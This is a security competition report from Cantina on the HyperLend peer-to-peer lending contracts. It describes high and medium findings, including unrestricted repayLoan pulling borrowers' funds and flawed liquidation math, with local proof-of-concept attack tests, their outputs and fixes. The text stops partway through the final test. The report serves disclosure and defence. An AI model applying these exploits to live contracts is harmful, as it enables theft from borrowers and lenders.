CANTINA

Hyperlend

Competition

January 12, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

HyperLend is a money-market platform that makes lending and borrowing digital assets efficiently and securely easy.

From Nov 13th to Dec 4th Cantina hosted a competition based on hyperlend. The participants identified a total of **45** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 1
- Medium Risk: 4
- Low Risk: 17
- Gas Optimizations: 0
- Informational: 23

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Anyone can call repayLoan on the borrower and pull funds from their account to repay loan

Submitted by Joshuajee, also found by 0xDjango, ruhum, Ragnarok, s3rdz0, ktl, stormreckson, 0xAristos, 0xnbvc, nour99, boredpukar, Tripathi, zanderbyte, DeltaXV, ADM, 0xorangesantra, BajagaSec, ABAIKUNANBAEV, TheWeb3Mechanic, Boraicho, Maglov, pauleth, stiglitz, Max1, Audinarey, rscodes, 0xG0P1, Bigsam, Nyksx, Spearmint, avoloder, p4y4b13, Amar Fares, 0xffchain, Knight1, namx05, pepoc3, sashik-eth, p4y4b13 and falconhoof

Severity: High Risk

Context: LendingP2P.sol#L205

Description: The `repayLoan` function can be called by anyone to repay a loan, the issue with this function is that it pulls funds from the borrower's account irrespective of the person calling the `repayLoan` function.

The `repayLoan` function grants anyone the access to transfer funds from the lender's account this is not a good practice as it can be exploited by malicious parties, especially lenders who can gain from it:

```
function repayLoan(uint256 loanId) external nonReentrant {
    Loan memory _loan = loans[loanId];

    require(_loan.status == Status.Active, "invalid status");

    //@audit can bypass fees
    uint256 protocolFee = (_loan.repaymentAmount - _loan.assetAmount) * PROTOCOL_FEE / 10000;
    uint256 amountToLender = _loan.repaymentAmount - protocolFee;

    loans[loanId].status = Status.Repaid;

    //since the token could be ERC777 and the lender could be a contract, there is a possible DoS attack vector
    ↪  during repayment/liquidation
    //this is acceptable, since borrowers are expected to be aware of the risk when using non-standard tokens
    IERC20(_loan.asset).safeTransferFrom(_loan.borrower, _loan.lender, amountToLender); //return asset
    IERC20(_loan.collateral).safeTransfer(_loan.borrower, _loan.collateralAmount); //return collateral

    IERC20(_loan.asset).safeTransferFrom(_loan.borrower, feeCollector, protocolFee); // <<<
    emit LoanRepaid(loanId, _loan.borrower, _loan.lender);
    emit ProtocolRevenue(loanId, _loan.asset, protocolFee);
}
```

Impact: Anyone can repay a Loan with the borrower's funds without their consent leading to financial loss to the borrower in terms of fees and interest. (Lenders are incentivized to do this to earn quick bucks). For example, if a borrower wants the loan for a year, the attacker (malicious lender), can repay the loan immediately they fill the loan request leading to loss for borrower and financial gain for the attacker.

Likelihood: The likelihood for this to happen is that the borrower has given enough allowance to the contract (contracts usually take maximum approval in some cases) and the borrower has enough funds to cover the loan repayment, this can usually happen if they have funds in their account before taking the loan.

So the likelihood is medium.

Proof of Concept: The following test shows that a malicious lender can fill a loan request and call repay immediately, the borrower will have to pay the loan with interest even though they didn't use the loan.

Add the test below to this folder and run the code `hyperlend-p2p/contracts/test`:

```
const { expect } = require("chai");

const { encodeLoan } = require("./utils")

describe("POC-2", function () {
    let loanContract;

    let borrower;
    let lender;
    let deployer;
```

```
let loan;
let mockAsset;
let mockCollateral;

let aggregatorAsset;
let aggregatorCollateral;

beforeEach(async function () {
    const LoanContract = await ethers.getContractFactory("LendingP2P");
    [borrower, lender, deployer] = await ethers.getSigners();

    loanContract = await LoanContract.connect(deployer).deploy();

    const MockToken = await ethers.getContractFactory("MockERC20");
    mockAsset = await MockToken.connect(borrower).deploy()
    mockCollateral = await MockToken.connect(borrower).deploy()

    const MockAggregator = await ethers.getContractFactory("Aggregator");
    aggregatorAsset = await MockAggregator.connect(deployer).deploy();
    aggregatorCollateral = await MockAggregator.connect(deployer).deploy();

    await aggregatorAsset.connect(deployer).setAnswer(200000000000); //2k usd
    await aggregatorCollateral.connect(deployer).setAnswer(5000000000000); //50k usd

    await mockAsset.connect(borrower).approve(loanContract.target, ethers.parseEther("1000000"));
    await mockCollateral.connect(borrower).approve(loanContract.target, ethers.parseEther("1000000"));

    loan = {
        borrower: borrower.address,
        lender: "0x0000000000000000000000000000000000000000",
        asset: mockAsset.target,
        collateral: mockCollateral.target,

        assetAmount: ethers.parseEther("10"),
        repaymentAmount: ethers.parseEther("11"),
        collateralAmount: ethers.parseEther("1"),

        duration: 30 * 24 * 60 * 60,

        liquidation: {
            isLiquidatable: true,
            liquidationThreshold: 8000, //liquidated when loan value > 80% of the collateral value
            assetOracle: aggregatorAsset.target,
            collateralOracle: aggregatorCollateral.target
        },
        status: 0 //Pending
    };
});

it("Abuse of repay", async function () {

    let encodedLoan = encodeLoan(loan);

    //Approve
    await mockCollateral.connect(borrower).approve(loanContract.target, loan.collateralAmount)
    await mockAsset.connect(borrower).approve(loanContract.target, loan.repaymentAmount * 2n) //High
    ↪  Approval simulating uint256 max
    await mockAsset.connect(lender).approve(loanContract.target, loan.repaymentAmount)
    await mockAsset.connect(borrower).transfer(lender.address, loan.assetAmount)

    //Borrow loan
    await loanContract.connect(borrower).requestLoan(encodedLoan);
    await loanContract.connect(lender).fillRequest(0);


    console.log("  Borrower Balance Before Attack       : ", await mockAsset.balanceOf(borrower.address))
    console.log("  Attacker's Balance Before Attack     : ", await mockAsset.balanceOf(lender.address))


    //Lender repays loan immediately to steal from borrower
    await loanContract.connect(lender).repayLoan(0)



    console.log("  Borrower Balance After Attack        : ", await mockAsset.balanceOf(borrower.address))
    console.log("  Attacker's Balance After Attack      : ", await mockAsset.balanceOf(lender.address))
```

```
    });
});
```

Output:

```
  POC-2
  Borrower Balance Before Attack       :  100000000000000000000000000n
  Attacker's Balance Before Attack     :  0n
  Borrower Balance After Attack        :  999999989000000000000000000n
  Attacker's Balance After Attack      :  108000000000000000000n
```

Recommendation:

```
  function repayLoan(uint256 loanId) external nonReentrant {
      Loan memory _loan = loans[loanId];

      require(_loan.status == Status.Active, "invalid status");

      //@audit can bypass fees
      uint256 protocolFee = (_loan.repaymentAmount - _loan.assetAmount) * PROTOCOL_FEE / 10000;
      uint256 amountToLender = _loan.repaymentAmount - protocolFee;

      loans[loanId].status = Status.Repaid;

      //since the token could be ERC777 and the lender could be a contract, there is a possible DoS attack
      ↪  vector during repayment/liquidation
      //this is acceptable, since borrowers are expected to be aware of the risk when using non-standard tokens
-     IERC20(_loan.asset).safeTransferFrom(_loan.borrower, _loan.lender, amountToLender); //return asset
+     IERC20(_loan.asset).safeTransferFrom(msg.sender, _loan.lender, amountToLender);
      IERC20(_loan.collateral).safeTransfer(_loan.borrower, _loan.collateralAmount); //return collateral

-     IERC20(_loan.asset).safeTransferFrom(_loan.borrower, feeCollector, protocolFee);
+     IERC20(_loan.asset).safeTransferFrom(msg.sender, feeCollector, protocolFee);

      emit LoanRepaid(loanId, _loan.borrower, _loan.lender);
      emit ProtocolRevenue(loanId, _loan.asset, protocolFee);
  }
```

3.2 Medium Risk

3.2.1 Liquidation wrongly uses `assetAmount` will lead to losses to lenders

Submitted by DeltaXV, also found by Agontuk, Bigsam, Rhaydden, Nyksx and etherhood

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The calculation of `loanValueUsd` passed to the liquidation check wrongly uses `assetAmount` instead of `repaymentAmount`, leading to systematic losses for lenders because liquidation isn't triggered until collateral value falls below the principal amount (`assetAmount`), ignoring the interest (included in `repaymentAmount`) owed.

In the `_isLoanLiquidatable` function, when calculating the USD value of a loan (LendingP2P.sol#L279) for liquidation check, the code incorrectly uses the initial borrowed amount (`assetAmount`) instead of the full repayment amount (`repaymentAmount`):

```
uint256 loanValueUsd = PRECISION_FACTOR * _loan.assetAmount * uint256(assetPrice) / (10 ** assetDecimals);
uint256 collateralValueUsd = PRECISION_FACTOR * _loan.collateralAmount * uint256(collateralPrice) / (10 **
↪  collateralDecimals);
```

This means that liquidation only triggers when the collateral value falls below the principal amount (`assetAmount`), not accounting for the interest owed. This allow a loan's collateral value to drop below what's needed to cover the full repayment amount (principal + interest) before liquidation is triggered.

For example, with a loan of:

- Asset Amount: 32,000 USDC (`AssetAmount` → principal).

- Interest: 3,200 USDC (10%).
- Total Repayment: 35,200 USDC (`repaymentAmount` → principal + interest).
- Liquidation Threshold: 80%.

The loan will only liquidate when collateral value falls to 31,999 USDC (just below principal), despite the lender being owed 35,200 USDC. At this point, after accounting for liquidator bonus (1%) and protocol fees (0.2%), lenders will incur significant losses.

Impact: This issue has a critical impact because it leads to direct and substantial financial losses for lenders in every liquidation event. The loss includes both the entire interest amount and additional liquidation costs (1.2% of collateral value).

Likelihood: The likelihood is High because this issue is core to the protocol's liquidation mechanism and affects every liquidatable loan. No specific conditions or malicious actions are required -- the loss occurs systematically whenever a loan reaches its liquidation threshold.

Proof of Concept: Paste the proof of concept into `./test` and run `npx hardhat test`:

```
const { expect } = require("chai");
const { ethers } = require("hardhat");
const {
    time,
    loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");

const { encodeLoan } = require("./utils")

describe("DeltaXV_PoC_Liq", function () {
    let loanContract;

    let borrower;
    let lender;
    let deployer;
    let liquidator;

    let loan;
    let mockAsset;
    let mockCollateral;

    let aggregatorAsset;
    let aggregatorCollateral;

    async function recordBalances(){
        return {
            borrower: {
                asset: await mockAsset.balanceOf(borrower.address),
                collateral: await mockCollateral.balanceOf(borrower.address),
            },
            lender: {
                asset: await mockAsset.balanceOf(lender.address),
                collateral: await mockCollateral.balanceOf(lender.address),
            },
            contract: {
                asset: await mockAsset.balanceOf(loanContract.target),
                collateral: await mockCollateral.balanceOf(loanContract.target),
            },
            deployer: {
                asset: await mockAsset.balanceOf(deployer.address),
                collateral: await mockCollateral.balanceOf(deployer.address),
            },
            liquidator: {
                collateral: await mockCollateral.balanceOf(liquidator.address),
            }
        }
    }

    beforeEach(async function () {
        const LoanContract = await ethers.getContractFactory("LendingP2P");
        [borrower, lender, deployer, liquidator] = await ethers.getSigners();

        loanContract = await LoanContract.connect(deployer).deploy();

        const MockToken = await ethers.getContractFactory("MockERC20Metadata");
        mockAsset = await MockToken.deploy("Asset", "ASSET", 18)
```

```
    mockCollateral = await MockToken.deploy("Collateral", "COLLAT", 18)

    const MockAggregator = await ethers.getContractFactory("Aggregator");
    aggregatorAsset = await MockAggregator.connect(deployer).deploy();
    aggregatorCollateral = await MockAggregator.connect(deployer).deploy();

    await aggregatorAsset.connect(deployer).setAnswer(200000000000); //2k usd
    await aggregatorCollateral.connect(deployer).setAnswer(5000000000000); //50k usd

    loan = {
        borrower: borrower.address,
        lender: "0x0000000000000000000000000000000000000001",
        asset: mockAsset.target,
        collateral: mockCollateral.target,

        assetAmount: ethers.parseEther("10"), //20k usd
        repaymentAmount: ethers.parseEther("11"),
        collateralAmount: ethers.parseEther("0.6"), //30k usd => 24k max borrow @ 80% lltv

        duration: 30 * 24 * 60 * 60,

        liquidation: {
            isLiquidatable: true,
            liquidationThreshold: 8000,
            assetOracle: aggregatorAsset.target,
            collateralOracle: aggregatorCollateral.target
        },
        status: 0 //Pending
    };
});

it("Systematic loss of funds for lender when liquidation occurs", async function () {
    // 1. Setup tokens and oracles
    const MockToken = await ethers.getContractFactory("MockERC20Metadata");
    mockUSDC = await MockToken.deploy("USDC", "USDC", 6);
    mockWETH = await MockToken.deploy("WETH", "WETH", 18);

    const MockAggregator = await ethers.getContractFactory("Aggregator");
    aggregatorUSDC = await MockAggregator.connect(deployer).deploy();
    aggregatorWETH = await MockAggregator.connect(deployer).deploy();

    // ETH = $2000, USDC = $1
    await aggregatorUSDC.connect(deployer).setAnswer(100000000);    // $1
    await aggregatorWETH.connect(deployer).setAnswer(200000000000); // $2000

    // 2. Setup loan
    const collateralAmount = ethers.parseEther("20");              // 20 ETH = $40,000
    const loanAmount = ethers.parseUnits("32000", 6);              // 32,000 USDC
    const interestAmount = ethers.parseUnits("3200", 6);           // 3,200 USDC (10% interest)
    const repaymentAmount = loanAmount + interestAmount;          // 35,200 USDC total

    loan = {
        borrower: borrower.address,
        lender: ethers.ZeroAddress,
        asset: mockUSDC.target,
        collateral: mockWETH.target,
        assetAmount: loanAmount,
        repaymentAmount: repaymentAmount,
        collateralAmount: collateralAmount,
        duration: 30 * 24 * 60 * 60,
        liquidation: {
            isLiquidatable: true,
            liquidationThreshold: 8000, // 80%
            assetOracle: aggregatorUSDC.target,
            collateralOracle: aggregatorWETH.target
        },
        status: 0
    };

    // 3. Setup and execute loan
    await mockUSDC.mint(lender.address, loanAmount);
    await mockWETH.mint(borrower.address, collateralAmount);
    await mockUSDC.connect(lender).approve(loanContract.target, loanAmount);
    await mockWETH.connect(borrower).approve(loanContract.target, collateralAmount);

    await loanContract.connect(borrower).requestLoan(encodeLoan(loan));
```

```
        await loanContract.connect(lender).fillRequest(0);

        console.log("\n--:::--Initial Loan State--:::--");
        console.log("Collateral: 20 ETH @ $2000 = $40,000");
        console.log("Borrowed (assetAmount): 32,000 USDC");
        console.log("Total Repayment: 35,200 USDC (includes 10% interest)");
        console.log("Liquidation Threshold: 80%");

        // 4. ETH price drops and trigger liquidation
        //          20 ETH * price = $31,999
        // Therefore price should be: $31,999 / 20 = $1599.95
        const targetPrice = BigInt("159995000000"); // $1599.95
        await aggregatorWETH.connect(deployer).setAnswer(targetPrice);

        // Calculate collateral value in USD
        // 20 ETH (with 18 decimals) * $1599.95 (with 8 decimals) / 10^20 = 31,999 USDC
        const ORACLE_DECIMALS = 8;
        const ETH_DECIMALS = 18;
        const SCALE_FACTOR = BigInt(10 ** (ETH_DECIMALS + ORACLE_DECIMALS - 6)); // Scale to USDC 6 decimals

        const collateralValueUsd = (collateralAmount * targetPrice) / SCALE_FACTOR;

        // Calculate liquidation cost
        const liquidatorBonus = collateralAmount * BigInt(100) / BigInt(10000);  // 1% // Liquidator bonus fee
        ↪  exctracted  from collateral during liquidation (loss amplified)
        const protocolFee = collateralAmount * BigInt(20) / BigInt(10000);       // 0.2% // Protocol fee
        ↪  exctracted from collateral during liquidation (loss amplified)

        // Convert fees to USD
        const bonusInUSD = (liquidatorBonus * targetPrice) / SCALE_FACTOR; // converted to USD
        const feeInUSD = (protocolFee * targetPrice) / SCALE_FACTOR;      // converted to USD

        console.log("\n--:::--After ETH Price Drop to $1599.95--:::--");
        console.log("New Collateral Value:", ethers.formatUnits(collateralValueUsd, 6), "USDC");
        console.log("Asset Amount: 32,000 USDC");
        console.log("Repayment Amount: 35,200 USDC");

        // Check if liquidation triggers
        const isLiquidatable = await loanContract._isLoanLiquidatable(0);
        console.log("\n====Contract State====");
        console.log("Is Liquidatable:", isLiquidatable);
        expect(isLiquidatable).to.be.true;

        console.log("\nLiquidation Impact:");
        console.log("Interest Lost:", ethers.formatUnits(interestAmount, 6), "USDC");
        console.log("Liquidator Bonus:", ethers.formatUnits(bonusInUSD, 6), "USDC");
        console.log("Protocol Fee:", ethers.formatUnits(feeInUSD, 6), "USDC");

        /// total loss = interest amount (repaymentAmount not used!) + Liquidator bonus + protocol fee
        const totalLoss = interestAmount + bonusInUSD + feeInUSD;
        console.log("//Total Loss to Lender:", ethers.formatUnits(totalLoss, 6), "USDC\\");
    });
});
```

Logs:

```
  DeltaXV_PoC_Liq

--:::--Initial Loan State--:::--
Collateral: 20 ETH @ $2000 = $40,000
Borrowed (assetAmount): 32,000 USDC
Total Repayment: 35,200 USDC (includes 10% interest)
Liquidation Threshold: 80%

--:::--After ETH Price Drop to $1599.95--:::--
New Collateral Value: 31999.0 USDC
Asset Amount: 32,000 USDC
Repayment Amount: 35,200 USDC

====Contract State====
Is Liquidatable: true

Liquidation Impact:
Interest Lost: 3200.0 USDC
Liquidator Bonus: 319.99 USDC
Protocol Fee: 63.998 USDC
//Total Loss to Lender: 3583.988 USDC\
     Systematic loss of funds for lender when liquidation occurs (40ms)
```

The proof of concept demonstrates that when ETH price falls to $1599.95, making the collateral worth $31,999 USDC:

1. Liquidation triggers because collateral value falls just below the assetAmount (32,000 USDC).
2. However, the lender actually suffers substantial losses:
   - Full interest amount: 3,200 USDC.
   - Additional liquidation costs:
     - Liquidator bonus: 319.99 USDC (1%).
     - Protocol fee: 63.998 USDC (0.2%).
   - Total loss: 3,583.988 USDC (~11.2% of the principal).

The conclusion is that using `assetAmount` instead of `repaymentAmount` in the liquidation check causes lenders to lose their entire interest plus additional liquidation costs in every liquidation event.

Recommendation: Use `repaymentAmount` instead of `assetAmount` when calculating the loan value that will be used for liquidation check:

```
function _isLoanLiquidatable(uint256 loanId) public view returns (bool) {
    Loan memory _loan = loans[loanId];

    //loan is not active
    if (_loan.status != Status.Active){
        return false;
    }

    //defaulted loan
    if (block.timestamp > _loan.startTimestamp + _loan.duration){
        return true;
    }

    if (_loan.liquidation.isLiquidatable){

        (, int256 assetPrice, , uint256 assetPriceUpdatedAt,) =
        ↪  AggregatorInterface(_loan.liquidation.assetOracle).latestRoundData();
        (, int256 collateralPrice, , uint256 collateralPriceUpdatedAt,) =
        ↪  AggregatorInterface(_loan.liquidation.collateralOracle).latestRoundData();

        require(assetPrice > 0, "invalid oracle price");
        require(collateralPrice > 0, "invalid oracle price");

        require(MAX_ORACLE_PRICE_AGE > block.timestamp - assetPriceUpdatedAt, "stale asset oracle");
        require(MAX_ORACLE_PRICE_AGE > block.timestamp - collateralPriceUpdatedAt, "stale collateral oracle");

        uint8 assetDecimals = IERC20Metadata(_loan.asset).decimals();
        uint8 collateralDecimals = IERC20Metadata(_loan.collateral).decimals();

-       uint256 loanValueUsd = PRECISION_FACTOR * _loan.assetAmount * uint256(assetPrice) / (10 **
↪  assetDecimals);
+       uint256 loanValueUsd = PRECISION_FACTOR * _loan.repaymentAmount * uint256(assetPrice) / (10 **
↪  assetDecimals);
        uint256 collateralValueUsd = PRECISION_FACTOR * _loan.collateralAmount * uint256(collateralPrice) /
        ↪  (10 ** collateralDecimals);

        return (loanValueUsd > (collateralValueUsd * _loan.liquidation.liquidationThreshold / 10000));
    }

    return false;
}
```

3.2.2 Bigger Precision loss In tokenAmount To USD conversion will lead incorrect liquidation result

Submitted by Tripathi

Severity: Medium Risk

Context: LendingP2P.sol#L279

Description: The `LendingP2P` contract currently calculates the USD values of loans and collateral using a fixed precision factor (`PRECISION_FACTOR`) and oracle price decimals (say `priceDecimal`). This method can lead to bigger precision loss when dealing with tokens that have a higher decimal precision than `PRECISION_FACTOR + priceDecimal`. Consequently, the calculated values for `loanValueUsd` and `collateralValueUsd` may not accurately reflect the true asset values, potentially resulting in unfair loan liquidations or incorrect evaluations.

1. The calculations for `loanValueUsd` and `collateralValueUsd` are as follows:

```
uint256 loanValueUsd = (PRECISION_FACTOR *
    _loan.assetAmount *
    uint256(assetPrice)) / (10 ** assetDecimals);
uint256 collateralValueUsd = (PRECISION_FACTOR *
    _loan.collateralAmount *
    uint256(collateralPrice)) / (10 ** collateralDecimals);
```

2. With `PRECISION_FACTOR` set to `1e8`, the effective precision becomes `(8 + X)` decimals, where `X` is the oracle price decimal. This leads to issues when `8 + X < token decimals`. For example, if a collateral token has 18 decimals and the oracle price is in 8 decimals, the calculation will truncate the last 2 digits of the collateral amount.

Impact: Decreased precision in asset and collateral amounts can lead to incorrect liquidation scenarios:

```
return (loanValueUsd >
    ((collateralValueUsd * _loan.liquidation.liquidationThreshold) /
        10000));
```

Inaccurate calculations of `loanValueUsd` and `collateralValueUsd` can result in improper liquidation actions. Specifically:

- If `loanValueUsd` is inaccurately calculated due to precision loss, it may lead to a situation where a legitimate liquidation is incorrectly prevented.
- Conversely, if `collateralValueUsd` is miscalculated, it could trigger an unwarranted liquidation, resulting in the loss of collateral for the borrower.

Marking this High severity since it's affecting liquidation with high likelihood.

Proof of Concept:

```
// Function to check precision for tokens
function checkPrecisionForTokens(uint256 collateralAmount, uint256 price) public view returns(uint256) {
    return (PRECISION_FACTOR * collateralAmount * price) / (10 ** 18);
}
```

Add this function in a test remix contract or `LendingP2P.sol` to see the precision loss:

```
// Test function to demonstrate precision loss
function test_precision() public {
    uint256 amount1 = 999_999_999_999_999_999; // First collateral amount
    uint256 amount2 = 999_999_999_999_990_000; // Second collateral amount
    uint256 price = 999_999; // Price in 6 decimals

    // Check precision for both amounts
    uint256 first = lendingp2p.checkPrecisionForTokens(amount1, price);
    uint256 second = lendingp2p.checkPrecisionForTokens(amount2, price);

    // Assert that both values are equal
    assertEq(first, second);
}
```

Run the above test via:

```
forge test --match-test test_precision
```

This shows that if the price is in 6 decimals for an 18 decimal token, the `tokenAmountInUSD` will be the same for both amounts. Practically, supplying `999_999_999_999_999_999` token as collateral will only count as `999_999_999_999_990_000` during liquidation.

Recommendation:

1. Dynamic Precision Adjustment: Implement a mechanism that adjusts the precision based on the token's decimal places and the oracle price decimals, or...
2. Increase `PRECISION_FACTOR`: Utilize a higher `PRECISION_FACTOR` to guarantee that the amounts in USD maintain at least 18 decimal places. This adjustment will make sure that standard tokens that have 18 decimal places, work fine.

3.2.3 EMA Calculation Uses Incorrect Timestamp, Leading to Inaccurate Prices

Submitted by Kokkiri, also found by Om Parikh

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `_calculateEma` function uses `block.timestamp` instead of the submitted timestamp, causing inaccurate Exponential Moving Average (EMA) calculations due to potential transaction delays.

In the `_calculateEma` function of the `hyperevm-oracle/contracts/Aggregator.sol` contract, the time difference for the EMA calculation is derived from `block.timestamp - lastTimestamp`. However,

`block.timestamp` may significantly differ from the actual submission time (`_submitTimestamp`) provided by the keeper due to network delays. This discrepancy causes the EMA to be calculated over longer intervals than intended, resulting in inaccurate smoothing of price data.

Impact: This issue is assessed as high because it can cause inaccuracies in the price data, which can propagate through the platform, leading to mispricing and erroneous liquidations.

Likelihood: The likelihood is high because transaction delays are common in blockchain networks. Keepers cannot guarantee the immediate inclusion of their transactions, making this issue a realistic and frequent occurrence.

Proof of Concept: Suppose the worst case, where a keeper submits `submitRoundData` at timestamp `t1`, but due to network congestion, the transaction is included at `t1 + 59 seconds`. The EMA calculation will use `59 seconds` as the time difference, causing the new price to have a disproportionately large impact on the EMA. The next keeper's `RoundData` submission timestamp is `t1 + 60 seconds`, which is included immediately, and the EMA will be calculated over `1 second` instead of the intended `60 seconds`. If the delayed transaction contains a spike in the price, the delay can cause a significant price discrepancy.

The simulation lies here:

```python
import math
from typing import List, Tuple
from dataclasses import dataclass

@dataclass
class AssetState:
    ema: int
    last_timestamp: int

class Aggregator:
    def __init__(self, price: int, timestamp: int, ema_window_seconds: int = 866):
        self.EMA_WINDOW_SECONDS = ema_window_seconds
        self.WAD = 18
        self.asset_state = AssetState(price, timestamp)

    def _calculate_ema(self, price: int, timestamp: int) -> int:

        time_diff = timestamp - self.asset_state.last_timestamp

        x = -(time_diff * (10 ** self.WAD)) // self.EMA_WINDOW_SECONDS
        alpha = int(math.exp(x / (10 ** self.WAD)) * (10 ** self.WAD))

        new_ema = (
            self.asset_state.ema * alpha +
            price * (10**self.WAD - alpha)
        ) // (10**self.WAD)

        # Update state
        self.asset_state = AssetState(new_ema, timestamp)
        return new_ema

    def submit_round_data(self, prices: List[Tuple[int, int]]) -> List[int]:
        results = []
        for price, timestamp in prices:
            new_ema = self._calculate_ema(price, timestamp)
            results.append(new_ema)
            print(f"Timestamp: {timestamp}, Price: {price/(10**18)}, EMA: {new_ema/(10**18)}")
        return results

if __name__ == "__main__":
    aggregator = Aggregator(100 * 10**18, 0)

    # Example: Submit prices for an asset at different timestamps
    intended_test_data = [(100 * 10 **18, i) for i in range(0, 181, 60)] # Initial price intervals
    intended_test_data.append((1000 * 10**18, 181)) # Price spike for 1 block
    intended_test_data.append((100 * 10**18, 182)) # Price returns to initial value
    intended_test_data.append((100 * 10**18, 240)) # Price remains constant


    corrupted_test_data = [(100 * 10**18, i) for i in range(0, 181, 60)] # Initial price intervals
    corrupted_test_data.append((1000 * 10**18, 239)) # Delayed price update with spike
    corrupted_test_data.append((100 * 10**18, 240)) # Price returns to initial value
    corrupted_test_data.append((100 * 10**18, 241)) # Price remains constant

    print("Expected Behavior (No Delays):")
```

```
    aggregator.submit_round_data(intended_test_data)
    aggregator = Aggregator(100 * 10**18, 0)
    print("Vulnerable Behavior (With Transaction Delays):")
    aggregator.submit_round_data(corrupted_test_data)
```

The output is:

```
Expected Behavior (No Delays):
Timestamp: 0, Price: 100.0, EMA: 100.0
Timestamp: 60, Price: 100.0, EMA: 100.0
Timestamp: 120, Price: 100.0, EMA: 100.0
Timestamp: 180, Price: 100.0, EMA: 100.0
Timestamp: 181, Price: 1000.0, EMA: 101.03866116566867
Timestamp: 182, Price: 100.0, EMA: 101.03746248009415
Timestamp: 240, Price: 100.0, EMA: 100.97025458113767
Vulnerable Behavior (With Transaction Delays):
Timestamp: 0, Price: 100.0, EMA: 100.0
Timestamp: 60, Price: 100.0, EMA: 100.0
Timestamp: 120, Price: 100.0, EMA: 100.0
Timestamp: 180, Price: 100.0, EMA: 100.0
Timestamp: 239, Price: 1000.0, EMA: 159.2743120787303
Timestamp: 240, Price: 100.0, EMA: 159.2059054941993
Timestamp: 241, Price: 100.0, EMA: 159.13757785551587
```

The delayed transaction with a price spike for one block caused the price discrepancy by 60%.

Recommendation: Modify the `_calculateEma` function to use the submitted timestamp `_submitTimestamp` instead of `block.timestamp`:

```
function submitRoundData(address[] calldata _assets, uint256[] calldata _prices, uint256 _submitTimestamp)
↪  external onlyKeeper() {
    // Validation remains the same

    for (uint256 i = 0; i < _assets.length; i++) {
        // Pass submitted timestamp instead of block.timestamp
        _calculateEma(_assets[i], _prices[i], _submitTimestamp);
    }

    emit RoundDataSubmitted(_assets, _prices, _submitTimestamp);
}

function _calculateEma(address _asset, uint256 _price, uint256 _submitTimestamp) internal {
    AssetDetails storage assetInfo = assetDetails[_asset];

    uint256 lastTimestamp = assetInfo.lastTimestamp;
    uint256 currentEma = assetInfo.ema;

    // Use submitted timestamp instead of block.timestamp
    int256 x = -int256(int256(_submitTimestamp - lastTimestamp) * 1e18 / EMA_WINDOW_SECONDS);

    // Function body remains the same

    // Update lastTimestamp with the submitted timestamp instead of block.timestamp
    assetInfo.lastTimestamp = _submitTimestamp;
    assetInfo.ema = newEma;
}
```

3.2.4 The `stale price feed update` in the `_isLoanLiquidatable` can cause `loss of funds` to the `lender`

Submitted by Udsen, also found by Tripathi

Severity: Medium Risk

Context: LendingP2P.sol#L217-L224, LendingP2P.sol#L234-L236, LendingP2P.sol#L269-L270, LendingP2P.sol#L282

Description: In the `hyperlend-p2p/LendingP2P` contract the `_isLoanLiquidatable` function is implemented to check whether a `particular loan` is `liquidatable`. The `_isLoanLiquidatable` function is called during the `liquidation` of a loan via the `LendingP2P.liquidateLoan()` transaction (triggered by the liquidator).

Now let's imagine the following scenario:

1. The `block.timestamp < _loan.startTimestamp + _loan.duration` and the `_loan.liquidation.isLiquidatable` is `true`. Hence the loan enters the `if (_loan.liquidation.isLiquidatable)` block.
2. `require(MAX_ORACLE_PRICE_AGE > block.timestamp - assetPriceUpdatedAt, "stale asset oracle")` check fails since the `asset price is stale`.
3. Hence can not execute the `LendingP2P.liquidateLoan` transaction (since it reverts) even though the loan is undercollataralized (`(loanValueUsd > (collateralValueUsd * _loan.liquidation.liquidationThreshold / 10000)`).
4. Due to the `stale asset price` the `loan can not be liquidated` and `the collateral asset price further declines` such that the `loanValueUsd > collateralValueUsd` itself. Then the `asset price feed is updated` and `require statement evaluates to true` thus allowing liquidation to proceed.
5. But now the `loanValueUsd > collateralValueUsd` and as a result `_loan.borrower` can immediately execute the `liquidateLoan` transaction and `liquidate his own loan` since the `borrower` will have more value in `loan.asset` than he is losing on `loan.collateral` due to liquidation. And the borrower will get the `liquidator bonus fee` as well.
6. Due to this the `lender` will have to `incur bad debt` and `bear the loss` due to stale price feed update. Hence the `lender is losing funds` in this scenario.

Proof of Concept: Implement the following test in the `5_liquidate.js` test file. And use the `npx hardhat test --grep "borrower can profit from self-liquidation due to stale prices"` command to run the test:

```
it("borrower can profit from self-liquidation due to stale prices", async function () {
    // Setup initial loan
    loan.assetAmount = ethers.parseEther("24"); // 48k USD
    loan.repaymentAmount = ethers.parseEther("25");
    loan.collateralAmount = ethers.parseEther("1.2"); // 60k USD collateral

    const encodedLoan = encodeLoan(loan);
    await loanContract.connect(borrower).requestLoan(encodedLoan);

    // Calculate initial values
    const initialCollateralPrice = await aggregatorCollateral.latestAnswer();
    const initialCollateralPriceUSD = Number(initialCollateralPrice) / 100000000;
